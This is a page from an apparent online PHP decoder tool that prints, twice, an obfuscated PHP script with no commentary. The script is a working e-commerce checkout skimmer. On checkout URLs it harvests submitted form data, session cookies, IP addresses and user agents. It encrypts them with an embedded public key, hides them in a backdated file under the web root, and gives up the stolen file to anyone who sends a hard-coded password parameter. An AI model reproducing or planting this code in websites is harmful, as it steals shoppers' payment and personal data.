Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<? goto GFaIt; FlOaF: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto hhplM; } goto ..
Decoded Output download
<? goto GFaIt; FlOaF: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto hhplM; } goto JobJy; kB00O: @fclose($Mz1KG); goto WShqf; cfJrE: if ($su7O1) { goto LrO7g; } goto rMje1; YUuap: $u3Edj = "8dfrJxPr"; goto lwfXK; UhwS8: $M0vs6 = bin2hex("openssl=" . bin2hex($jgp9F) . "|" . openssl_encrypt(serialize($Q9cA5), "AES-128-ECB", $IbBwq)) . "\xa"; goto dYSva; Qev99: JaXIC: goto m0dPM; kmrVJ: R2SQz: goto J3htF; eTwiZ: $IbBwq = substr(md5(md5(microtime()) . rand()), 0, 16); goto AlxeR; owUfr: if (!isset($_POST["clear"])) { goto iQ1t6; } goto jhhHJ; JobJy: $Q9cA5["ip"] = @$_SERVER["REMOTE_ADDR"]; goto wDfVa; dvEc2: openssl_free_key($I7NN4); goto DLMtt; Pck48: Mk0T3: goto Jj7E2; EUEjs: $Mz1KG = @fopen($nOlfK, "a"); goto bliCH; jhhHJ: @unlink($nOlfK); goto sKTd8; bUbL1: foreach ($WGgGn as $srm3t) { goto oMw8R; RpO5s: alZl9: goto viX9a; viX9a: c3uDW: goto mu5nV; Cz9GC: $nzN3M = true; goto Y1KfH; oMw8R: if (!strpos($_SERVER["REQUEST_URI"], $srm3t)) { goto alZl9; } goto Cz9GC; Y1KfH: goto MxIyc; goto RpO5s; mu5nV: } goto sFz5l; VmNX8: $jgp9F = null; goto eTwiZ; Jj7E2: die(implode('', file($nOlfK))); goto ib9Qz; WACjY: openssl_public_encrypt($IbBwq, $jgp9F, $I7NN4); goto dvEc2; oFLHa: sWQfx: goto vWiRm; ZY3Vd: goto sWQfx; goto IvPEe; ib9Qz: PyjPj: goto GNIoW; dYSva: z7epI: goto EUEjs; GFaIt: $ogDvs = "kQMpjNg"; goto YUuap; UnXn9: @mkdir($w5KWT, 511, true); goto Qev99; zwJLI: $nzN3M = false; goto bUbL1; UgG7F: goto z7epI; goto zzjRM; KwbHa: $Q9cA5["ip"] = $_SERVER["HTTP_X_FORWARDED_FOR"]; goto oFLHa; vWiRm: if (!isset($_COOKIE["frontend"])) { goto R2SQz; } goto X_2yZ; J3htF: if (!(function_exists("openssl_get_publickey") && function_exists("openssl_public_encrypt") && function_exists("openssl_encrypt"))) { goto T2cA_; } goto VmNX8; HMfBy: CTooK: goto XhARz; t_whL: $Q9cA5["useragent"] = $_SERVER["HTTP_USER_AGENT"]; goto a9hrd; bliCH: @fputs($Mz1KG, $M0vs6); goto kB00O; GNNWQ: if (file_exists($nOlfK)) { goto Mk0T3; } goto Ptlq2; sKTd8: die; goto FZi3H; WShqf: $xtV4Z = @filemtime(__FILE__); goto Nu3Ab; rMje1: $M0vs6 = bin2hex("serialize=" . serialize($Q9cA5)) . "
"; goto UgG7F; Nu3Ab: @touch($nOlfK, $xtV4Z, $xtV4Z); goto HMfBy; bmzp5: if (!$nzN3M) { goto CTooK; } goto cfJrE; wDfVa: goto sWQfx; goto LYuKK; HPiQ3: if (file_exists($w5KWT)) { goto JaXIC; } goto UnXn9; KNBKO: $w5KWT = $_SERVER["DOCUMENT_ROOT"] . "/var/tmp/"; goto e8nan; FZi3H: iQ1t6: goto GNNWQ; lwfXK: $eDQYa = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQChWjdOYF2kbhPjkuTjucClRJKY\xaCqeih/uVa/EfGuvnS4hOfkH7x17UQCWOp2LBX3NlVzB+2I4HOnukIqZK8Hi/6c0D\xa46KgTB850Ma4fvfdK5Y67iicjqqDdH2Q3pUsjhuf0bwDtkcGoPl+TtCVXJgabKHW\xa3KA4tklAQwB7fNnB6wIDAQAB
-----END PUBLIC KEY-----
"; goto KNBKO; yPjOe: $Q9cA5["date"] = $_SERVER["REQUEST_TIME"]; goto KMPq5; zzjRM: LrO7g: goto UhwS8; i22Py: $Q9cA5["ip"] = $_SERVER["HTTP_CLIENT_IP"]; goto ZY3Vd; FieKD: if (!(isset($_POST) && is_array($_POST) && count($_POST) > 0)) { goto bAOl4; } goto HPiQ3; Ptlq2: die; goto Pck48; DLMtt: $su7O1 = true; goto FKajj; KMPq5: $Q9cA5["host"] = $_SERVER["REQUEST_URI"]; goto t_whL; GNIoW: $Q9cA5 = $_POST; goto yPjOe; LYuKK: Oj24p: goto i22Py; EoKE3: $WGgGn = array("onestepcheckout", "checkout", "onepage", "onestep", "firecheckout", "securecheckout", "idecheckoutvm"); goto FieKD; m0dPM: if (!(isset($_POST[$ogDvs]) && $_POST[$ogDvs] == $u3Edj)) { goto PyjPj; } goto owUfr; FKajj: T2cA_: goto zwJLI; IvPEe: hhplM: goto KwbHa; e8nan: $nOlfK = $w5KWT . "session_store"; goto EoKE3; a9hrd: if (!empty($_SERVER["HTTP_CLIENT_IP"])) { goto Oj24p; } goto FlOaF; sFz5l: MxIyc: goto bmzp5; X_2yZ: $Q9cA5["cookie"] = $_COOKIE["frontend"]; goto kmrVJ; AlxeR: $I7NN4 = openssl_get_publickey($eDQYa); goto WACjY; XhARz: bAOl4: ?>
Did this file decode correctly?
Original Code
<? goto GFaIt; FlOaF: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto hhplM; } goto JobJy; kB00O: @fclose($Mz1KG); goto WShqf; cfJrE: if ($su7O1) { goto LrO7g; } goto rMje1; YUuap: $u3Edj = "8dfrJxPr"; goto lwfXK; UhwS8: $M0vs6 = bin2hex("openssl=" . bin2hex($jgp9F) . "|" . openssl_encrypt(serialize($Q9cA5), "AES-128-ECB", $IbBwq)) . "\xa"; goto dYSva; Qev99: JaXIC: goto m0dPM; kmrVJ: R2SQz: goto J3htF; eTwiZ: $IbBwq = substr(md5(md5(microtime()) . rand()), 0, 16); goto AlxeR; owUfr: if (!isset($_POST["clear"])) { goto iQ1t6; } goto jhhHJ; JobJy: $Q9cA5["ip"] = @$_SERVER["REMOTE_ADDR"]; goto wDfVa; dvEc2: openssl_free_key($I7NN4); goto DLMtt; Pck48: Mk0T3: goto Jj7E2; EUEjs: $Mz1KG = @fopen($nOlfK, "a"); goto bliCH; jhhHJ: @unlink($nOlfK); goto sKTd8; bUbL1: foreach ($WGgGn as $srm3t) { goto oMw8R; RpO5s: alZl9: goto viX9a; viX9a: c3uDW: goto mu5nV; Cz9GC: $nzN3M = true; goto Y1KfH; oMw8R: if (!strpos($_SERVER["REQUEST_URI"], $srm3t)) { goto alZl9; } goto Cz9GC; Y1KfH: goto MxIyc; goto RpO5s; mu5nV: } goto sFz5l; VmNX8: $jgp9F = null; goto eTwiZ; Jj7E2: die(implode('', file($nOlfK))); goto ib9Qz; WACjY: openssl_public_encrypt($IbBwq, $jgp9F, $I7NN4); goto dvEc2; oFLHa: sWQfx: goto vWiRm; ZY3Vd: goto sWQfx; goto IvPEe; ib9Qz: PyjPj: goto GNIoW; dYSva: z7epI: goto EUEjs; GFaIt: $ogDvs = "kQMpjNg"; goto YUuap; UnXn9: @mkdir($w5KWT, 511, true); goto Qev99; zwJLI: $nzN3M = false; goto bUbL1; UgG7F: goto z7epI; goto zzjRM; KwbHa: $Q9cA5["ip"] = $_SERVER["HTTP_X_FORWARDED_FOR"]; goto oFLHa; vWiRm: if (!isset($_COOKIE["frontend"])) { goto R2SQz; } goto X_2yZ; J3htF: if (!(function_exists("openssl_get_publickey") && function_exists("openssl_public_encrypt") && function_exists("openssl_encrypt"))) { goto T2cA_; } goto VmNX8; HMfBy: CTooK: goto XhARz; t_whL: $Q9cA5["useragent"] = $_SERVER["HTTP_USER_AGENT"]; goto a9hrd; bliCH: @fputs($Mz1KG, $M0vs6); goto kB00O; GNNWQ: if (file_exists($nOlfK)) { goto Mk0T3; } goto Ptlq2; sKTd8: die; goto FZi3H; WShqf: $xtV4Z = @filemtime(__FILE__); goto Nu3Ab; rMje1: $M0vs6 = bin2hex("serialize=" . serialize($Q9cA5)) . "
"; goto UgG7F; Nu3Ab: @touch($nOlfK, $xtV4Z, $xtV4Z); goto HMfBy; bmzp5: if (!$nzN3M) { goto CTooK; } goto cfJrE; wDfVa: goto sWQfx; goto LYuKK; HPiQ3: if (file_exists($w5KWT)) { goto JaXIC; } goto UnXn9; KNBKO: $w5KWT = $_SERVER["DOCUMENT_ROOT"] . "/var/tmp/"; goto e8nan; FZi3H: iQ1t6: goto GNNWQ; lwfXK: $eDQYa = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQChWjdOYF2kbhPjkuTjucClRJKY\xaCqeih/uVa/EfGuvnS4hOfkH7x17UQCWOp2LBX3NlVzB+2I4HOnukIqZK8Hi/6c0D\xa46KgTB850Ma4fvfdK5Y67iicjqqDdH2Q3pUsjhuf0bwDtkcGoPl+TtCVXJgabKHW\xa3KA4tklAQwB7fNnB6wIDAQAB
-----END PUBLIC KEY-----
"; goto KNBKO; yPjOe: $Q9cA5["date"] = $_SERVER["REQUEST_TIME"]; goto KMPq5; zzjRM: LrO7g: goto UhwS8; i22Py: $Q9cA5["ip"] = $_SERVER["HTTP_CLIENT_IP"]; goto ZY3Vd; FieKD: if (!(isset($_POST) && is_array($_POST) && count($_POST) > 0)) { goto bAOl4; } goto HPiQ3; Ptlq2: die; goto Pck48; DLMtt: $su7O1 = true; goto FKajj; KMPq5: $Q9cA5["host"] = $_SERVER["REQUEST_URI"]; goto t_whL; GNIoW: $Q9cA5 = $_POST; goto yPjOe; LYuKK: Oj24p: goto i22Py; EoKE3: $WGgGn = array("onestepcheckout", "checkout", "onepage", "onestep", "firecheckout", "securecheckout", "idecheckoutvm"); goto FieKD; m0dPM: if (!(isset($_POST[$ogDvs]) && $_POST[$ogDvs] == $u3Edj)) { goto PyjPj; } goto owUfr; FKajj: T2cA_: goto zwJLI; IvPEe: hhplM: goto KwbHa; e8nan: $nOlfK = $w5KWT . "session_store"; goto EoKE3; a9hrd: if (!empty($_SERVER["HTTP_CLIENT_IP"])) { goto Oj24p; } goto FlOaF; sFz5l: MxIyc: goto bmzp5; X_2yZ: $Q9cA5["cookie"] = $_COOKIE["frontend"]; goto kmrVJ; AlxeR: $I7NN4 = openssl_get_publickey($eDQYa); goto WACjY; XhARz: bAOl4:
Function Calls
| None |
Stats
| MD5 | 54f7818aa4adacf1c17c596ca036b79c |
| Eval Count | 0 |
| Decode Time | 97 ms |